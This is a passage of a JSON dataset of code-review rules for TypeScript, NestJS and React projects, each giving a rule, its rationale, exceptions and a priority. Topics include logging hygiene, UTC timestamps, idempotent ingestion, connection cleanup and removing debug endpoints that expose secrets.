connection is the unreliable part of the system — proxies time out, networks drop, the server restarts. Closing on error with no fallback means the UI freezes on the last payload with no recovery and no fresh data. Hand-rolled imperative reconnection (nested setTimeouts inside onerror) tends to leak timers and double-connect.","priority":"p1","scope":"universal"},{"title":"Resolve defaults at the boundary so inner layers take required params","rule":"Apply default values once at the request boundary, then pass resolved values to inner layers as required (non-optional) arguments.","apiRule":"Apply default values once at the request boundary, then pass resolved values to inner layers as required (non-optional) arguments. Optional params propagate `undefined` through every layer, so each one needs a `!== undefined` guard and may apply its own default. The 'real' default becomes ambiguous, defaults can silently diverge between layers, and the extra branching is dead weight once a default exists. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: If an inner layer is a genuinely standalone public API consumed outside this boundary, it may need its own defaulting; but within a single request pipeline, default once at the entry point.","whyItMatters":"Optional params propagate `undefined` through every layer, so each one needs a `!== undefined` guard and may apply its own default. The 'real' default becomes ambiguous, defaults can silently diverge between layers, and the extra branching is dead weight once a default exists.","priority":"p1","scope":"universal"},{"title":"Type fluent builder return values as `this`, not the class or interface name","rule":"Chainable methods should declare their return type as the polymorphic `this` type so chaining survives inheritance.","apiRule":"Chainable methods should declare their return type as the polymorphic `this` type so chaining survives inheritance. Declaring the return as the base interface/class name erases the subtype. After calling an inherited method the static type collapses to the base, so subclass-specific methods are no longer chainable and the compiler rejects an otherwise valid chain. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example. Exceptions: If a method intentionally returns a different builder (a transition to another stage in a staged-builder API), keep that explicit type rather than `this`.","whyItMatters":"Declaring the return as the base interface/class name erases the subtype. After calling an inherited method the static type collapses to the base, so subclass-specific methods are no longer chainable and the compiler rejects an otherwise valid chain.","priority":"p1","scope":"stack-specific"},{"title":"Return typed result unions from validators instead of booleans or throws","rule":"Validation functions should return a discriminated union carrying both the verdict and the error message, not a bare boolean and not a thrown exception.","apiRule":"Validation functions should return a discriminated union carrying both the verdict and the error message, not a bare boolean and not a thrown exception. A boolean forces every caller to re-author the error message, so the wording drifts and the message lives far from the rule that produced it. Throwing pushes transport decisions (status code, body) into the validator or forces try/catch around pure logic. Neither lets TypeScript narrow to a guaranteed-present error field. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Mirrors the shape Zod/Valibot return (`{ success } | { error }`); adopting it by hand keeps small in-house validators consistent with schema libraries you may adopt later. Exceptions: For deep nested validation or when collecting many errors at once, a richer result type (array of errors, or a schema library like Zod that already returns a typed result) is preferable to a single-error union.","whyItMatters":"A boolean forces every caller to re-author the error message, so the wording drifts and the message lives far from the rule that produced it. Throwing pushes transport decisions (status code, body) into the validator or forces try/catch around pure logic. Neither lets TypeScript narrow to a guaranteed-present error field.","priority":"p1","scope":"universal"},{"title":"Keep a conditional fetch inside Promise.all by resolving to an empty value","rule":"When one of several parallel fetches is optional, replace it with Promise.resolve(empty) inside the same Promise.all so the destructured tuple stays positional.","apiRule":"When one of several parallel fetches is optional, replace it with Promise.resolve(empty) inside the same Promise.all so the destructured tuple stays positional. Pulling the optional fetch out of Promise.all adds a serial await after the batch (losing parallelism) and scatters the result handling across two statements. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: If the optional call is expensive even when its input is empty, or its absence should change control flow, branch explicitly instead.","whyItMatters":"Pulling the optional fetch out of Promise.all adds a serial await after the batch (losing parallelism) and scatters the result handling across two statements.","priority":"p2","scope":"universal"},{"title":"Name fluent query-builder test mocks after the terminal method","rule":"Build query-chain mocks (Drizzle/Knex) with intermediate calls returning `this` and the resolving method named in the factory (makeOrderByDb / makeWhereDb).","apiRule":"Build query-chain mocks (Drizzle/Knex) with intermediate calls returning `this` and the resolving method named in the factory (makeOrderByDb / makeWhereDb). Hand-rolled nested mocks duplicate the chain in every test and hide which method actually resolves, so tests are noisy and brittle to chain changes. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Hand-rolled nested mocks duplicate the chain in every test and hide which method actually resolves, so tests are noisy and brittle to chain changes.","priority":"p2","scope":"universal"},{"title":"Extract pure logic to module-level functions; keep the service thin","rule":"Move stateless transforms to pure functions above the @Injectable class so the class only does DI + orchestration and the pure logic is trivially unit-testable.","apiRule":"Move stateless transforms to pure functions above the @Injectable class so the class only does DI + orchestration and the pure logic is trivially unit-testable. When pure logic lives as private methods on an injectable, every unit test must instantiate the class through the DI container even though the logic touches no dependency, bloating tests and blurring what is orchestration vs. computation. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Helpers that genuinely need an injected dependency (logger, config, cache) stay as class methods. Only extract logic that is referentially transparent.","whyItMatters":"When pure logic lives as private methods on an injectable, every unit test must instantiate the class through the DI container even though the logic touches no dependency, bloating tests and blurring what is orchestration vs. computation.","priority":"p2","scope":"universal"},{"title":"Route to a fallback data source via a capability check, not try/catch","rule":"Pick between a primary and fallback source with an explicit isAvailable() guard plus a domain condition, each branch its own method — don't rely on try/catch retry.","apiRule":"Pick between a primary and fallback source with an explicit isAvailable() guard plus a domain condition, each branch its own method — don't rely on try/catch retry. A try/catch fallback cannot distinguish 'primary is offline' from 'primary threw a real bug', so it silently masks failures, retries expensive work, and is hard to test deterministically. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: If the primary source has no cheap health/capability signal and the only way to know it failed is to call it, a guarded try/catch that re-throws non-availability errors is acceptable.","whyItMatters":"A try/catch fallback cannot distinguish 'primary is offline' from 'primary threw a real bug', so it silently masks failures, retries expensive work, and is hard to test deterministically.","priority":"p1","scope":"universal"},{"title":"In controller e2e tests, mock only the service and assert the full status contract (400s + failure code), not just 200","rule":"Override the service provider with a mock, run the real ValidationPipe/guards, and assert every validation boundary (400) plus the propagated failure status (e.g. 503) alongside the happy path.","apiRule":"Override the service provider with a mock, run the real ValidationPipe/guards, and assert every validation boundary (400) plus the propagated failure status (e.g. 503) alongside the happy path. Only the happy path is covered. The DTO validation rules (required date, IsInt, Min) and the service-failure mapping to 503 are never exercised, so a regression in the validation decorators or error filter ships silently. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Mirror the production pipe config (whitelist/transform) in the test app or the 400 assertions will not reflect reality.","whyItMatters":"Only the happy path is covered. The DTO validation rules (required date, IsInt, Min) and the service-failure mapping to 503 are never exercised, so a regression in the validation decorators or error filter ships silently.","priority":"p1","scope":"stack-specific"},{"title":"Bundle repeated Swagger header/response decorators into a named composite via applyDecorators()","rule":"Collapse a repeated stack of @ApiHeader/@ApiResponse decorators into one reusable applyDecorators() decorator instead of copy-pasting it on every endpoint.","apiRule":"Collapse a repeated stack of @ApiHeader/@ApiResponse decorators into one reusable applyDecorators() decorator instead of copy-pasting it on every endpoint. The same three auth headers are duplicated on every endpoint. Adding or renaming a header means editing every handler, and the docs drift the moment one is missed. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. applyDecorators() composes any decorators, not just Swagger ones (guards, interceptors, HttpCode). The same idea applies to repeated @ApiResponse error blocks via an ApiCommonErrorResponses() helper.","whyItMatters":"The same three auth headers are duplicated on every endpoint. Adding or renaming a header means editing every handler, and the docs drift the moment one is missed.","priority":"p2","scope":"stack-specific"},{"title":"Don't repeat the log level in the message text","rule":"Drop manual '[INFO]'/'[ERROR]' prefixes from log messages; the logger already records the level.","apiRule":"Drop manual '[INFO]'/'[ERROR]' prefixes from log messages; the logger already records the level. The logger already tags each entry with its level, so hardcoding '[INFO]'/'[ERROR]' duplicates information, clutters the message, and drifts out of sync if someone changes the log method without updating the text. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"The logger already tags each entry with its level, so hardcoding '[INFO]'/'[ERROR]' duplicates information, clutters the message, and drifts out of sync if someone changes the log method without updating the text.","priority":"p2","scope":"universal"},{"title":"Log objects as structured fields or JSON, never interpolated into the message","rule":"Don't string-interpolate objects into log messages (they become '[object Object]'); pass them as a structured argument or JSON.stringify the payload.","apiRule":"Don't string-interpolate objects into log messages (they become '[object Object]'); pass them as a structured argument or JSON.stringify the payload. Template-literal interpolation calls toString() on objects, producing '[object Object]' in the log aggregator (Kibana/CloudWatch) and discarding the actual error payload you need to debug. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Verify your logger's behaviour for the extra-argument form; some transports still flatten it to '[object Object]', in which case JSON.stringify is the safe choice.","whyItMatters":"Template-literal interpolation calls toString() on objects, producing '[object Object]' in the log aggregator (Kibana/CloudWatch) and discarding the actual error payload you need to debug.","priority":"p1","scope":"universal"},{"title":"Normalize stored timestamps to a single timezone (prefer UTC)","rule":"Persist timestamps in one consistent timezone (ideally UTC) and let clients localize, instead of mixing local-zone offsets in the datastore.","apiRule":"Persist timestamps in one consistent timezone (ideally UTC) and let clients localize, instead of mixing local-zone offsets in the datastore. Writing local-zone offsets into the store means sorting and range queries can break once data from a different timezone (or a DST change) arrives, and every consumer must guess the zone. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. When all data is guaranteed to be in one local zone today, a single local zone is acceptable short-term, but UTC removes the ambiguity entirely.","whyItMatters":"Writing local-zone offsets into the store means sorting and range queries can break once data from a different timezone (or a DST change) arrives, and every consumer must guess the zone.","priority":"p1","scope":"universal"},{"title":"Reference static members by class name, not `this`","rule":"In static methods, access static fields via the class name to avoid `this` ambiguity and improve readability.","apiRule":"In static methods, access static fields via the class name to avoid `this` ambiguity and improve readability. Inside a static method `this` refers to the class itself, which works but is easy to misread and breaks if the method is ever detached or the static is accessed from a subclass context. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Inside a static method `this` refers to the class itself, which works but is easy to misread and breaks if the method is ever detached or the static is accessed from a subclass context.","priority":"p2","scope":"universal"},{"title":"Make ingestion idempotent with deterministic ids so reprocessing is safe","rule":"Use a deterministic document id and upsert so an at-least-once pipeline can safely reprocess the same input.","apiRule":"Use a deterministic document id and upsert so an at-least-once pipeline can safely reprocess the same input. If the same input is seen twice (retry, failed move that leaves the file in place, redelivery), a POST that auto-generates ids creates a duplicate record each time. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Design at-least-once pipelines so steps are idempotent: deterministic ids + upsert for writes, and leave the source artifact unconsumed until downstream work succeeds so a failure triggers a clean retry.","whyItMatters":"If the same input is seen twice (retry, failed move that leaves the file in place, redelivery), a POST that auto-generates ids creates a duplicate record each time.","priority":"p1","scope":"universal"},{"title":"Make concurrency limits configurable, not magic numbers","rule":"Expose pool/batch concurrency as config with a sane default so it can be tuned without a redeploy.","apiRule":"Expose pool/batch concurrency as config with a sane default so it can be tuned without a redeploy. A hardcoded concurrency limit can't be adjusted when it overwhelms a downstream service or proves too conservative — every retune requires editing and redeploying code. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: A hardcoded constant is fine when the limit is dictated by a hard external constraint (e.g. a provider's documented max of N parallel connections) rather than tuning.","whyItMatters":"A hardcoded concurrency limit can't be adjusted when it overwhelms a downstream service or proves too conservative — every retune requires editing and redeploying code.","priority":"p2","scope":"universal"},{"title":"Guard scheduled/cron jobs against overlapping runs","rule":"Skip a scheduled job tick if the previous run hasn't finished, and reset the guard in finally.","apiRule":"Skip a scheduled job tick if the previous run hasn't finished, and reset the guard in finally. If a run takes longer than the interval, or the app also kicks off a run on startup, two invocations execute concurrently and may double-process or race on shared state. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: An in-process flag only protects a single process. For multi-instance deployments use a distributed lock (e.g. Redis SETNX, DB advisory lock) instead.","whyItMatters":"If a run takes longer than the interval, or the app also kicks off a run on startup, two invocations execute concurrently and may double-process or race on shared state.","priority":"p1","scope":"universal"},{"title":"Release external connections in a finally block, not on the happy path","rule":"Wrap connect/use/disconnect of external resources (SFTP, DB, sockets) so cleanup always runs even when the work throws.","apiRule":"Wrap connect/use/disconnect of external resources (SFTP, DB, sockets) so cleanup always runs even when the work throws. If doWork() throws, the disconnect() line is skipped and the connection leaks. Over many runs this exhausts the connection pool or file handles. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Applies to any acquire/release pair: DB transactions, file handles, locks, sockets. Prefer a reusable wrapper over repeating try/finally at each call site.","whyItMatters":"If doWork() throws, the disconnect() line is skipped and the connection leaks. Over many runs this exhausts the connection pool or file handles.","priority":"p1","scope":"universal"},{"title":"Remove intermediate conversion steps that don't affect the final result","rule":"If a parsing/normalization/conversion step is a no-op for the output (because a later call already handles it), delete it instead of leaving redundant transformations.","apiRule":"If a parsing/normalization/conversion step is a no-op for the output (because a later call already handles it), delete it instead of leaving redundant transformations. The `fromZonedTime` step does not change the formatted output because `formatTz` already applies the timezone. Keeping it adds a misleading transformation and a real risk of double-converting across DST boundaries. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Pair removal with a test that pins the expected output so a future reader does not re-add the 'safety' step. Exceptions: Only remove a step after confirming (ideally with a test) that it does not change the result for the relevant inputs, including edge cases like DST transitions.","whyItMatters":"The `fromZonedTime` step does not change the formatted output because `formatTz` already applies the timezone. Keeping it adds a misleading transformation and a real risk of double-converting across DST boundaries.","priority":"p2","scope":"universal"},{"title":"Name date/time variables after the instant they represent, not the function that produced them","rule":"Give timezone/date variables names that state which zone or representation the value is in (utc/local/zoned), so the conversion direction is unambiguous.","apiRule":"Give timezone/date variables names that state which zone or representation the value is in (utc/local/zoned), so the conversion direction is unambiguous. The variable is called `zonedTime` but it holds the UTC result of the conversion. A reviewer reading this cannot tell whether they are looking at a local instant or a UTC instant, which is the one fact that matters in timezone code. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Applies to any conversion-heavy domain (currency, units, encodings): name the result by what it represents, not by the converter that produced it.","whyItMatters":"The variable is called `zonedTime` but it holds the UTC result of the conversion. A reviewer reading this cannot tell whether they are looking at a local instant or a UTC instant, which is the one fact that matters in timezone code.","priority":"p1","scope":"universal"},{"title":"Don't bake credential placeholders into URLs returned to clients","rule":"Avoid appending hardcoded token/auth placeholders to URLs you construct and return; keep credentials out of returned/display URLs.","apiRule":"Avoid appending hardcoded token/auth placeholders to URLs you construct and return; keep credentials out of returned/display URLs. Embedding a credential param — even a placeholder — into a URL you build and return mixes the auth dimension into a display artifact, invites copy-paste of real tokens into query strings (where they get logged), and reads as accidental rather than intentional. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: A documentation/example link clearly labelled as a template (e.g. in API docs) may show a placeholder, but it should not be assembled inside live request-handling code paths.","whyItMatters":"Embedding a credential param — even a placeholder — into a URL you build and return mixes the auth dimension into a display artifact, invites copy-paste of real tokens into query strings (where they get logged), and reads as accidental rather than intentional.","priority":"p2","scope":"universal"},{"title":"Don't ship debug-only endpoints that expose secrets","rule":"Remove or environment-gate debug-only routes — especially ones returning auth tokens or secrets — before merging into a deployable service.","apiRule":"Remove or environment-gate debug-only routes — especially ones returning auth tokens or secrets — before merging into a deployable service. A publicly reachable endpoint that returns an auth token leaks credentials and widens the attack surface. 'Only for debugging' routes that are registered unconditionally end up live in production where anyone can call them. Priority: P0. Scope: universal.","whenToApply":"Priority: P0. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Internal-only services behind strict network isolation may keep diagnostic endpoints, but they should still avoid returning raw tokens and be clearly namespaced (e.g. /_debug).","whyItMatters":"A publicly reachable endpoint that returns an auth token leaks credentials and widens the attack surface. 'Only for debugging' routes that are registered unconditionally end up live in production where anyone can call them.","priority":"p0","scope":"universal"},{"title":"Write comments in sentence case, not ad-hoc all-caps emphasis","rule":"Avoid shouty all-caps emphasis prefixes (CRITICAL, IMPORTANT, RESET) in comments; use sentence case and reserve all-caps for conventional tokens like TODO/FIXME.","apiRule":"Avoid shouty all-caps emphasis prefixes (CRITICAL, IMPORTANT, RESET) in comments; use sentence case and reserve all-caps for conventional tokens like TODO/FIXME. Arbitrary all-caps prefixes shout for attention, are inconsistent across a codebase, and add no information the sentence itself doesn't already convey. They also dilute the meaning of genuine machine-readable markers. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. If a comment truly needs emphasis, improve the wording or extract the concern into a clearly named function rather than shouting. Exceptions: Conventional all-caps tokens that tooling or team convention recognizes (TODO, FIXME, HACK, NOTE, XXX) are fine and should keep their standard form.","whyItMatters":"Arbitrary all-caps prefixes shout for attention, are inconsistent across a codebase, and add no information the sentence itself doesn't already convey. They also dilute the meaning of genuine machine-readable markers.","priority":"p2","scope":"universal"},{"title":"Respect word boundaries in compound camelCase identifiers","rule":"Capitalize the boundary in compound names (insRefs, not insrefs) so multi-word identifiers stay readable and consistent.","apiRule":"Capitalize the boundary in compound names (insRefs, not insrefs) so multi-word identifiers stay readable and consistent. 'insrefs' runs two words together as a lowercase blob, hiding the word boundary and reading inconsistently next to other camelCase names. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Well-known all-lowercase domain terms or external API field names that must match a wire format should be kept verbatim.","whyItMatters":"'insrefs' runs two words together as a lowercase blob, hiding the word boundary and reading inconsistently next to other camelCase names.","priority":"p2","scope":"universal"},{"title":"Use native Set methods for set arithmetic instead of manual filter loops","rule":"Prefer Set.prototype.difference/intersection/union over hand-rolled filter + has() loops when computing set relationships.","apiRule":"Prefer Set.prototype.difference/intersection/union over hand-rolled filter + has() loops when computing set relationships. Manual filter/has loops obscure the intent (set difference) and allocate extra intermediate arrays from the source lists. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Ref: developer.mozilla.org Set.prototype.difference. Exceptions: Confirm the target Node/runtime version supports Set methods (Node 22+); fall back to filter loops on older runtimes.","whyItMatters":"Manual filter/has loops obscure the intent (set difference) and allocate extra intermediate arrays from the source lists.","priority":"p2","scope":"universal"},{"title":"Use SHA-256 instead of SHA-1 for hashing","rule":"Default to SHA-256 (or stronger) for any hash; never reach for the cryptographically broken SHA-1, even for non-security identifiers.","apiRule":"Default to SHA-256 (or stronger) for any hash; never reach for the cryptographically broken SHA-1, even for non-security identifiers. SHA-1 is collision-broken. Using it signals weak hygiene, can fail security audits, and risks accidental reuse where collisions actually matter. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Only use SHA-1 when forced for interop with an external system that mandates it, and document why.","whyItMatters":"SHA-1 is collision-broken. Using it signals weak hygiene, can fail security audits, and risks accidental reuse where collisions actually matter.","priority":"p1","scope":"universal"},{"title":"Coalesce nullable objects to {} before destructuring","rule":"Default a possibly-null object to {} before destructuring; property defaults do not protect against destructuring null/undefined.","apiRule":"Default a possibly-null object to {} before destructuring; property defaults do not protect against destructuring null/undefined. Destructuring throws 'Cannot destructure property of null' when this.contents.default is null or undefined. The inline defaults (= '') only apply to missing keys on an existing object; they cannot rescue a null/undefined source. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Unnecessary when the source object is statically known to be non-nullable (e.g. a required constructor field assigned a literal). Apply only when the value can realistically be null/undefined.","whyItMatters":"Destructuring throws 'Cannot destructure property of null' when this.contents.default is null or undefined. The inline defaults (= '') only apply to missing keys on an existing object; they cannot rescue a null/undefined source.","priority":"p1","scope":"universal"},{"title":"Guard possibly-nullish arrays before calling filter/map/reduce","rule":"Default nullable array fields to [] before chaining filter/map/reduce so absent external data does not throw at runtime.","apiRule":"Default nullable array fields to [] before chaining filter/map/reduce so absent external data does not throw at runtime. If item.meta.tags is null or undefined, .filter() throws 'Cannot read properties of undefined', crashing the whole request. Type annotations don't protect you when the data originates from an untyped/external source or when strict null checks are disabled. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Prefer ?? [] over || [] so that legitimately falsy-but-valid values are not unintentionally replaced; for arrays the distinction rarely matters but ?? is the safer default. Exceptions: Skip the guard only when the type is genuinely non-nullable and locally constructed (e.g. a const array literal you just created), where a default would be dead code. Balance against remove-unnecessary-fallbacks-for-guaranteed-values: default to [] only for external/untrusted data; not for arrays the schema truly guarantees in-process.","whyItMatters":"If item.meta.tags is null or undefined, .filter() throws 'Cannot read properties of undefined', crashing the whole request. Type annotations don't protect you when the data originates from an untyped/external source or when strict null checks are disabled.","priority":"p1","scope":"universal"},{"title":"Hoist a shared precondition to the dispatching method","rule":"Check a guard that gates the whole operation once at the orchestrator entry point, not duplicated in each branch method it dispatches to.","apiRule":"Check a guard that gates the whole operation once at the orchestrator entry point, not duplicated in each branch method it dispatches to. Repeating the same enable-check in every branch method duplicates logic, risks the branches drifting out of sync, and forces every new branch to remember the guard. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Keep branch-specific preconditions (e.g. a missing base URL) inside the branch; only hoist the guard that applies to the whole operation. Exceptions: If only one branch is gated by the condition, leave the check in that branch rather than hoisting. Balance against enforce-function-level-authorization: hoist only non-authorization preconditions; never centralize the authz check that each endpoint must own.","whyItMatters":"Repeating the same enable-check in every branch method duplicates logic, risks the branches drifting out of sync, and forces every new branch to remember the guard.","priority":"p1","scope":"universal"},{"title":"Resolve aliased upstream fields once with an explicit fallback","rule":"When an external source exposes the same value under multiple field names, normalize it in one accessor with a defined fallback order.","apiRule":"When an external source exposes the same value under multiple field names, normalize it in one accessor with a defined fallback order. Spreading knowledge of both field names across call sites means any site that checks only one spelling silently returns undefined for the other, and the fallback rule is duplicated and easy to get inconsistent. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Add a short comment naming the upstream quirk and a test for each branch (primary present, only alias present, both present prefers primary).","whyItMatters":"Spreading knowledge of both field names across call sites means any site that checks only one spelling silently returns undefined for the other, and the fallback rule is duplicated and easy to get inconsistent.","priority":"p1","scope":"universal"},{"title":"Don't make parameters or fields optional without a real consumer that omits them","rule":"Mark a parameter, prop, or field optional only when an actual caller legitimately omits it; default to required to keep the contract strict and let the compiler catch missing arguments.","apiRule":"Mark a parameter, prop, or field optional only when an actual caller legitimately omits it; default to required to keep the contract strict and let the compiler catch missing arguments. Marking onClear optional was justified as future-proofing, but every call site supplies it. The compiler can no longer flag a forgotten argument, and each consumer must handle an undefined that never actually occurs. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Applies equally to backend function signatures, request/response DTOs, service-method options objects, and config types. YAGNI: add optionality when a real consumer needs it, not before. Exceptions: Keep a member optional when there is a genuine consumer that omits it (e.g. an opt-in callback, a config override with a sensible default, or a backward-compatible addition to a published API). Drive the decision from real call sites, not from imagined future reuse.","whyItMatters":"Marking onClear optional was justified as future-proofing, but every call site supplies it. The compiler can no longer flag a forgotten argument, and each consumer must handle an undefined that never actually occurs.","priority":"p1","scope":"universal"},{"title":"Annotate callbacks with their function type, not just the param","rule":"Use the callback's full function type (e.g. RefCallback<T>) so both the parameter is inferred and the return type is constrained.","apiRule":"Use the callback's full function type (e.g. RefCallback<T>) so both the parameter is inferred and the return type is constrained. Annotating only the parameter leaves the return type wide open and forces you to spell out the param type by hand. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. React's types are globally available, so React.RefCallback<T> (and similar) can be referenced without an explicit import.","whyItMatters":"Annotating only the parameter leaves the return type wide open and forces you to spell out the param type by hand.","priority":"p2","scope":"universal"},{"title":"Don't hash small cache keys with crypto when a plain join works","rule":"Build cache keys from a sorted join, not SHA-1 — cheaper, collision-free, and debuggable. Hash only for length limits.","apiRule":"Build cache keys from a sorted join, not SHA-1 — cheaper, collision-free, and debuggable. Hash only for length limits. SHA-1 adds CPU cost and makes the key opaque, so you can't tell what a cache entry holds when debugging. For a short list of ids it buys nothing. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: Use a hash when the joined key could exceed the store's key-length limit, or when the raw inputs are sensitive and shouldn't appear in keys/logs.","whyItMatters":"SHA-1 adds CPU cost and makes the key opaque, so you can't tell what a cache entry holds when debugging. For a short list of ids it buys nothing.","priority":"p2","scope":"universal"},{"title":"Use margin-block / margin-inline instead of all-sides margin when spacing only one axis","rule":"Apply margin on the axis you mean with margin-block / margin-inline rather than the all-sides margin shorthand.","apiRule":"Apply margin on the axis you mean with margin-block / margin-inline rather than the all-sides margin shorthand. The all-sides shorthand sets horizontal margins too, which may be unintended for a full-width block. It also hides whether left/right spacing was actually wanted. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: When you genuinely want spacing on all four sides, the plain `margin` shorthand is fine and clearer.","whyItMatters":"The all-sides shorthand sets horizontal margins too, which may be unintended for a full-width block. It also hides whether left/right spacing was actually wanted.","priority":"p2","scope":"universal"},{"title":"Compose CSS-module classes rather than joining them with cx() when always applied together","rule":"If two module classes always appear together on an element, merge them into one class instead of cx()-ing them in JSX.","apiRule":"If two module classes always appear together on an element, merge them into one class instead of cx()-ing them in JSX. The two classes are unconditionally applied to the same element, so the cx() call adds noise without adding flexibility. The styling intent is split across the JSX and two unrelated SCSS rules. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. On this PR the reviewer asked 'Can this be single class?' and the author chose to keep them split, which is a valid call when the offset is conceptually a separate, potentially-reusable concern. The rule is about the default preference, not an absolute. Exceptions: Keep classes separate when one of them is applied conditionally (e.g. only when a flag is set) or is reused independently on other elements — that is exactly when cx() earns its place.","whyItMatters":"The two classes are unconditionally applied to the same element, so the cx() call adds noise without adding flexibility. The styling intent is split across the JSX and two unrelated SCSS rules.","priority":"p2","scope":"stack-specific"},{"title":"Audit downstream consumers when changing a shared component","rule":"When altering a shared/library component's behavior or defaults, check and fix consumers that override or rely on the old behavior.","apiRule":"When altering a shared/library component's behavior or defaults, check and fix consumers that override or rely on the old behavior. Changing a shared component in isolation ignores consumers that were written against the old behavior. Their overrides may now be redundant, conflicting, or wrong, causing breakage you never see in the library repo. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Applies whenever a change in one package alters a contract that other packages depend on, not only React components.","whyItMatters":"Changing a shared component in isolation ignores consumers that were written against the old behavior. Their overrides may now be redundant, conflicting, or wrong, causing breakage you never see in the library repo.","priority":"p1","scope":"universal"},{"title":"Avoid explicitly passing a prop value equal to the library default","rule":"Omit props whose value matches the library/API default; let the default apply instead of restating it at the call site.","apiRule":"Omit props whose value matches the library/API default; let the default apply instead of restating it at the call site. Passing `document.body` restates a value the library already uses by default, adding noise without changing behavior. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: If naming the default value materially improves reader intent or guards against a future default change, an explicit value can be a deliberate, documented choice.","whyItMatters":"Passing `document.body` restates a value the library already uses by default, adding noise without changing behavior.","priority":"p2","scope":"universal"},{"title":"Group related component props into a namespaced props object","rule":"Instead of a flat list of prefixed props for one sub-element, expose a single grouped props object (e.g. HeaderProps).","apiRule":"Instead of a flat list of prefixed props for one sub-element, expose a single grouped props object (e.g. HeaderProps). Each new header concern adds another top-level prefixed prop. The flat surface grows without bound, related props are scattered, and you cannot forward them as a unit. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: For one or two simple, frequently-used props a flat prop can be clearer than nesting; group only once a coherent cluster of related props emerges.","whyItMatters":"Each new header concern adds another top-level prefixed prop. The flat surface grows without bound, related props are scattered, and you cannot forward them as a unit.","priority":"p1","scope":"universal"},{"title":"Handle the empty/neither case when branching on derived content state","rule":"A two-way branch (has text vs not) often hides a third state (no text and no images); handle the empty case explicitly instead of letting it fall into the wrong branch.","apiRule":"A two-way branch (has text vs not) often hides a third state (no text and no images); handle the empty case explicitly instead of letting it fall into the wrong branch. Collapsing 'image-only' and 'completely empty' into a single null branch makes the fallback fire for content that has no image, producing a misleading preview. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: If the input is contractually guaranteed to always contain text or an image, the neither-case may be unreachable - document that invariant.","whyItMatters":"Collapsing 'image-only' and 'completely empty' into a single null branch makes the fallback fire for content that has no image, producing a misleading preview.","priority":"p1","scope":"universal"},{"title":"Do not inject block-level HTML into a <p> host element","rule":"When using dangerouslySetInnerHTML with arbitrary block markup, render the host as a div (not a default <p>), since block elements inside <p> are invalid HTML.","apiRule":"When using dangerouslySetInnerHTML with arbitrary block markup, render the host as a div (not a default <p>), since block elements inside <p> are invalid HTML. A <p> may only contain phrasing content. Injecting block-level elements makes the browser implicitly close the paragraph, corrupting the DOM and styling. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example. Exceptions: If the injected HTML is guaranteed to be phrasing-only (inline text, <span>, <em>...), a <p> host is fine.","whyItMatters":"A <p> may only contain phrasing content. Injecting block-level elements makes the browser implicitly close the paragraph, corrupting the DOM and styling.","priority":"p1","scope":"universal"},{"title":"Use functional updates when next state depends on previous","rule":"When new state is derived from the current value (counters, list prepends), pass an updater function so concurrent updates don't clobber each other.","apiRule":"When new state is derived from the current value (counters, list prepends), pass an updater function so concurrent updates don't clobber each other. Computing from the closed-over value means rapid successive calls all start from the same stale snapshot, so updates get dropped and counts drift. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. This is also why exposing a raw setter (which supports functional updates) is 